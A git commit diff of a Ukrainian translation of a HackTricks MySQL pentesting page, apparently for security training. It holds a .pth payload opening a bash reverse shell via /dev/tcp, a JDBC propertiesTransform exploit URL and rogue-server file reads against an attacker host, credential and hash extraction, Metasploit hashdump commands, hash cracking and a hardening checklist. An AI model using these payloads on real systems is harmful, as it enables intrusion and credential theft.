mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to uk
This commit is contained in:
parent
e34124d587
commit
35cca3dc7c
@ -115,7 +115,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
|
||||
1. Використовуйте `INTO OUTFILE`, щоб скинути власний **`.pth`** файл у будь-який каталог, що автоматично завантажується `site.py` (наприклад, `.../lib/python3.10/site-packages/`).
|
||||
2. Файл `.pth` може містити *один рядок*, що починається з `import `, за яким слідує випадковий код Python, який буде виконуватись щоразу, коли запускається інтерпретатор.
|
||||
3. Коли інтерпретатор неявно виконується CGI-скриптом (наприклад, `/cgi-bin/ml-draw.py` з shebang `#!/bin/python`), корисне навантаження виконується з тими ж привілеями, що й процес веб-сервера (FortiWeb виконував його як **root** → повне попереднє RCE).
|
||||
3. Коли інтерпретатор неявно виконується CGI-скриптом (наприклад, `/cgi-bin/ml-draw.py` з shebang `#!/bin/python`), корисне навантаження виконується з тими ж привілеями, що й процес веб-сервера (FortiWeb виконував його як **root** → повне попереднє виконання коду).
|
||||
|
||||
Приклад корисного навантаження `.pth` (один рядок, пробіли не можуть бути включені в фінальне SQL навантаження, тому може знадобитися hex/`UNHEX()` або конкатенація рядків):
|
||||
```python
|
||||
@ -127,10 +127,10 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
|
||||
```
|
||||
Важливі обмеження та обходи:
|
||||
|
||||
* `INTO OUTFILE` **не може перезаписувати** існуючі файли; виберіть нове ім'я файлу.
|
||||
* `INTO OUTFILE` **не може перезаписати** існуючі файли; виберіть нове ім'я файлу.
|
||||
* Шлях до файлу визначається **відносно CWD MySQL**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютного шляху.
|
||||
* Якщо введення зловмисника витягується з `%128s` (або подібного), будь-який пробіл обірве корисне навантаження; використовуйте коментарі MySQL `/**/` або `/*!*/` для заміни пробілів.
|
||||
* Користувач MySQL, який виконує запит, повинен мати привілей `FILE`, але в багатьох пристроях (наприклад, FortiWeb) служба працює як **root**, надаючи доступ на запис майже скрізь.
|
||||
* Якщо введення зловмисника витягується за допомогою `%128s` (або подібного), будь-який пробіл обірве корисне навантаження; використовуйте коментарі MySQL `/**/` або `/*!*/` для заміни пробілів.
|
||||
* Користувач MySQL, який виконує запит, потребує привілею `FILE`, але в багатьох пристроях (наприклад, FortiWeb) служба працює як **root**, надаючи доступ на запис майже скрізь.
|
||||
|
||||
Після скидання `.pth` просто запитайте будь-який CGI, оброблений інтерпретатором python, щоб отримати виконання коду:
|
||||
```
|
||||
@ -146,7 +146,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL довільне читання файлу клієнтом
|
||||
## MySQL довільне читання файлів клієнтом
|
||||
|
||||
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю**, **вміст файлу** сервер MySQL або MariaDB запитує у **клієнта, щоб прочитати його** і надіслати вміст. **Отже, якщо ви можете підробити клієнт mysql, щоб підключитися до свого власного сервера MySQL, ви можете читати довільні файли.**\
|
||||
Зверніть увагу, що це поведінка при використанні:
|
||||
@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**У цій статті ви можете побачити повний опис атаки і навіть як її розширити до RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**У цій статті ви можете побачити повний опис атаки і навіть як розширити її до RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Тут ви можете знайти огляд атаки:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -259,7 +259,7 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Ви можете **використовувати ці облікові дані для входу в базу даних mysql**.
|
||||
|
||||
У файлі: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які ви можете витягти з mysql.user всередині бази даних)_._
|
||||
Всередині файлу: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які ви можете витягти з mysql.user всередині бази даних)_._
|
||||
|
||||
Ви можете витягти їх, виконавши:
|
||||
```bash
|
||||
@ -267,7 +267,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||
```
|
||||
### Увімкнення журналювання
|
||||
|
||||
Ви можете увімкнути журналювання запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши наступні рядки:
|
||||
Ви можете увімкнути журналювання запитів mysql, відредагувавши файл `/etc/mysql/my.cnf`, розкоментувавши наступні рядки:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 Highlights (new)
|
||||
|
||||
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||
З Connector/J <= 8.0.32 зловмисник, який може вплинути на **JDBC URL** (наприклад, у сторонньому програмному забезпеченні, яке запитує рядок підключення), може запитати завантаження довільних класів на стороні *клієнта* через параметр `propertiesTransform`. Якщо гаджет, присутній у class-path, може бути завантажений, це призводить до **віддаленого виконання коду в контексті JDBC клієнта** (попередня автентифікація, оскільки дійсні облікові дані не потрібні). Мінімальний PoC виглядає так:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Запуск `Evil.class` може бути таким же простим, як розміщення його в клас-паті вразливої програми або дозволення зловмисному MySQL серверу надсилати шкідливий серіалізований об'єкт. Проблему було виправлено в Connector/J 8.0.33 – оновіть драйвер або явно встановіть `propertiesTransform` у списку дозволених.
|
||||
(Дивіться опис Snyk для деталей)
|
||||
|
||||
### Атаки зловмисного / фальшивого MySQL сервера проти JDBC клієнтів
|
||||
Кілька інструментів з відкритим кодом реалізують *частковий* протокол MySQL для атаки на JDBC клієнтів, які підключаються назовні:
|
||||
|
||||
* **mysql-fake-server** (Java, підтримує експлойти для читання файлів і десеріалізації)
|
||||
* **rogue_mysql_server** (Python, подібні можливості)
|
||||
|
||||
Типові шляхи атаки:
|
||||
|
||||
1. Програма-жертва завантажує `mysql-connector-j` з `allowLoadLocalInfile=true` або `autoDeserialize=true`.
|
||||
2. Зловмисник контролює DNS / запис хоста так, щоб ім'я хоста БД розв'язувалося на машину під їх контролем.
|
||||
3. Зловмисний сервер відповідає з підготовленими пакетами, які викликають або `LOCAL INFILE` довільне читання файлів, або десеріалізацію Java → RCE.
|
||||
|
||||
Приклад однорядкового коду для запуску фальшивого сервера (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
Потім вкажіть жертві застосунку `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` і прочитайте `/etc/passwd`, закодувавши ім'я файлу в base64 у полі *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Злом хешів `caching_sha2_password`
|
||||
MySQL ≥ 8.0 зберігає хеші паролів як **`$mysql-sha2$`** (SHA-256). Як Hashcat (режим **21100**), так і John-the-Ripper (`--format=mysql-sha2`) підтримують офлайн злом з 2023 року. Вивантажте стовпець `authentication_string` і подайте його безпосередньо:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
# Hashcat
|
||||
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Перелік заходів з посилення безпеки (2025)
|
||||
• Встановіть **`LOCAL_INFILE=0`** та **`--secure-file-priv=/var/empty`**, щоб знищити більшість примітивів читання/запису файлів.
|
||||
• Видаліть привілей **`FILE`** з облікових записів додатків.
|
||||
• У Connector/J встановіть `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (порожньо).
|
||||
• Вимкніть невикористовувані плагіни аутентифікації та **вимагайте TLS** (`require_secure_transport = ON`).
|
||||
• Моніторте команди `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` та раптові команди `SET GLOBAL`.
|
||||
|
||||
---
|
||||
|
||||
## Посилання
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user